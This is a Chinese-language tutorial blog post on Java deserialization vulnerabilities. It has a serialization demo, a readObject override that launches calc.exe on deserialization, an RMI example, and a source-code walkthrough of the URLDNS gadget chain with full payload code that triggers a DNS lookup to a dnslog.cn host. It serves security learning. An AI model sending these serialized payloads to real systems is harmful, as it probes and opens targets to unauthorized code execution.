java反序列化的亿点点东西(1)
不可避免的,我们还是来聊聊反序列化的话题,由于近期的学习是以JAVA为主的,那么我们就以反序列化为例来看看它到底是什么东西。
以下。
是什么,怎么用。
首先,java反序列化就是将对象转化为数字序列的过程,方便数据的存储,这个操作可以使java的对象脱离java平台达到跨平台的效果,提供了数据存储效率的同时方便对象的持久化。
反序列化就是逆操作。
我们用一个小例子尝试一下。
import java.io.*; public class test1 { public static void main(String[] args) throws IOException, ClassNotFoundException { String obj = "A object"; //创建几个用于序列化的对象 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //创建一个用于存储对象的文件 os.writeObject(obj); //存进去 os.close(); //关掉 FileInputStream fos2 = new FileInputStream("object"); ObjectInputStream os2 = new ObjectInputStream(fos2); //读取文件流 String obj2 = (String)os2.readObject(); System.out.println(obj2); os2.close(); } }

好的,存入与读出都完成了,且对象内容表述正确。
接下来我们看看生成的object.class文件。
采用十六进制读取。

采用AC ED 00 05 开头,是java序列化内容的特征。
经过base64编码后是rO0AB。
接下来对上述代码进行一点点修改。
import java.io.*; public class test1 { public static void main(String[] args) throws IOException, ClassNotFoundException { testObject test = new testObject(); test.stringObject = "A Object"; //创建几个用于序列化的对象 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //创建一个用于存储对象的文件 os.writeObject(test); //存进去 os.close(); //关掉 FileInputStream fos2 = new FileInputStream("object"); ObjectInputStream os2 = new ObjectInputStream(fos2); //读取文件流 testObject obj2 = (testObject)os2.readObject(); System.out.println(obj2.stringObject); os2.close(); } } class testObject implements Serializable{ public String stringObject; private void readObject(ObjectInputStream rd) throws IOException, ClassNotFoundException { rd.defaultReadObject(); Runtime.getRuntime().exec("cmd /c start C:\\\\WINDOWS\\\\system32\\\\calc.exe"); } } //这里重写一下readObject方法,调用了计算器。

ok,运行也没有问题,修改readObject确实可以修改序列化的流程。
这里的testObject类实现了序列化接口,所以对象可以序列化,这是类序列化的必要条件。
然后我们改写了readObject()方法,这个方法在反序列化时候会被调用。(具体说就是在读取字节序列时候,将他们反序列化为一个对象就是readObject的作用。)
通过定制readObject()我们可以自定义反序列化的行为操作。
(注:这里可以读出“A Object”是因为我们先调用了defaultReadObject方法即默认的反序列化方法,不然无法读出。)
那么一次反序列化攻击就成功了。
显然没人会这么傻给我们一个显式的可控接口用于攻击(事实上很多漏洞也没差太多),那么我们来看看反序列化攻击在实战中是如何实现的。
一般来说这里需要介绍一下RMI,JRMP与JNDI。
但是为了文章连贯,我把这些介绍单独写了一篇了,简单介绍了部分框架以及java中socket与反射机制,也希望完全不知道这几个是什么的读者可以先研究一下再继续阅读接下来反序列化的实验案例。
(内容重点是https://www.cnblogs.com/HOloBlogs/p/15251571.html,属于是课前预备知识了)
接下来让我们看看实验,从实践中感受反序列化吧。
以下代码均在本地实现,没有进行跨服务器搭建。
RMI实验。
1我们定义一个远程接口
import java.rmi.Remote; import java.rmi.RemoteException; //定义继承Remote的接口,只有其中的指定方法可以远程调用,远程对象必须实现接口,参数等必须序列化 public interface IRemoteMath extends Remote{ public double add(double a,double b) throws RemoteException; public double sub(double a,double b) throws RemoteException; }
2远程接口实现类
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteMath extends UnicastRemoteObject implements IRemoteMath { private int number; protected RemoteMath() throws RemoteException { number = 0; } @Override public double add(double a, double b) throws RemoteException { number++; System.out.println("Number = " + number); return (a+b); } @Override public double sub(double a, double b) throws RemoteException { number++; System.out.println("Number = " + number); return (a-b); } }
3创建服务端
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try{ IRemoteMath Imath = new RemoteMath(); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Compute", Imath); System.out.println("Math server ready"); } catch (RemoteException | AlreadyBoundException e) { e.printStackTrace(); } } }
4创建客户端
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { public static void main(String[] args) { try{ Registry registry = LocateRegistry.getRegistry("localhost"); IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute"); double addResult = remoteMath.add(5.0, 3.0); double subResult = remoteMath.sub(5.0, 3.0); System.out.println(subResult+","+addResult); } catch (RemoteException | NotBoundException e) { e.printStackTrace(); } } }
5运行结果


好的到这里我们确定了可行性,接下来加一点点东西(URLDNS没加进去,从CC开始加入)。
URLDNS链
这个是入门反序列化很多人会看的一条基础链,该链没有JDK版本限制,并且只依赖原生类,是一条适合用于目标参数是否可以触发反序列化漏洞的一种测试方法。
我们先来看看效果再进行源码分析。
实验代码:
import java.util.HashMap; public class hashTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //既然漏洞点在HashMap,那么我们先创建一个hashmap对象 HashMap hash = new HashMap(); //创建url类用于识别 URL url = new URL("http://xtngg6.dnslog.cn"); //获取hashCode属性 Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //设置为真,这里注意一下,JDK9以上会出现报错情况,不影响运行,因为默认hashCode的值不是-1所以不影响测试,会报错。 f.setAccessible(true); //修改hashcode为123 f.set(url,123); //触发的同时,没有触发dns查询 hash.put(url,123); } }
效果图:

源码分析:
我们来看看Hashmap为什么会产生这个问题。
先跟进HashMap看看它如何执行反序列化。
在1512行找到其readObject方法,如图。

先忽略上面部分,我们关注的是函数putVal中的hash(key)。

read the keys and values , and put the mappings in the hashmap.
跟进hash()方法。

可以看到这里调用了hashCode()。
我们再跟进去看看hashCode()。
没东西,那我们全局看看hashCode()还有哪里有。
这里选用的是URL#hashCode,进去看看。

里面又有一个hashCode并且将自身传入,这里注意一下hashCode的默认值是-1。
跟进hashCode()。

oh,看到了getHostAddress。

调用了getByName()方法,这里即可触发dns解析。
被攻击点找到了,那么我们去看看如何进入并设置这个参数。
回到readObject()寻找一下key相关的数据。
既然有read那么一定有write。

writeInt()接受int不看,我们关注一下internalWriteEntries(s)。

table中的key就是我们的目标参数,那么如何设置table呢。
hashMap提供了put方法,去看看put方法。

putVal()我们一开始看到过了,如果输入url会在这里触发第一次dns查询。
同时,看到问题点,这里会在本地触发第一次dns查询,这是我们不希望看到的。
这里就用到我们之前的hashCode,只要设置hashCode为非-1就可以避免这样的情况,顺便一提,yso工具中是使用了继承的方式规避了put方法,即创建了getHostAddress的子类覆盖了原先的方法,好处是不需要在进行payload发送时再进行一次值的设定。
最终的利用链也很明显了,我们需要设定一个带有url的hashmap table,序列化后发给目标,目标进行反序列化,然后进行dns解析,我们确定可行。
这个思路的完整payload如下。
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class hashTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //既然漏洞点在HashMap,那么我们先创建一个hashmap对象 HashMap hash = new HashMap(); //创建url类用于识别 URL url = new URL("http://xtngg6.dnslog.cn"); //获取hashCode属性 Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //设置为真,这里注意一下,JDK9以上会出现报错情况,不影响运行,因为默认hashCode的值不是-1所以不影响测试,会报错。 f.setAccessible(true); //修改hashcode为非-1 f.set(url,2); //触发的同时,没有触发dns查询 hash.put(url,2); //发送前设置回来 f.set(url,-1); try{ FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(hash); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./urldns.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } catch (Exception e) { e.printStackTrace(); } } }
利用链为:
HashMap#readObject
HashMap#hash
URL#hashCode
URLStreamHandler#hashCode
URLStreamHandler#getHostAdress
urldns链就是这样了,接下来我们看看稍微长点的CC链们。
有点长了分个part,也希望看到这里的各位把这部分基础知识掌握。

浙公网安备 33010602011771号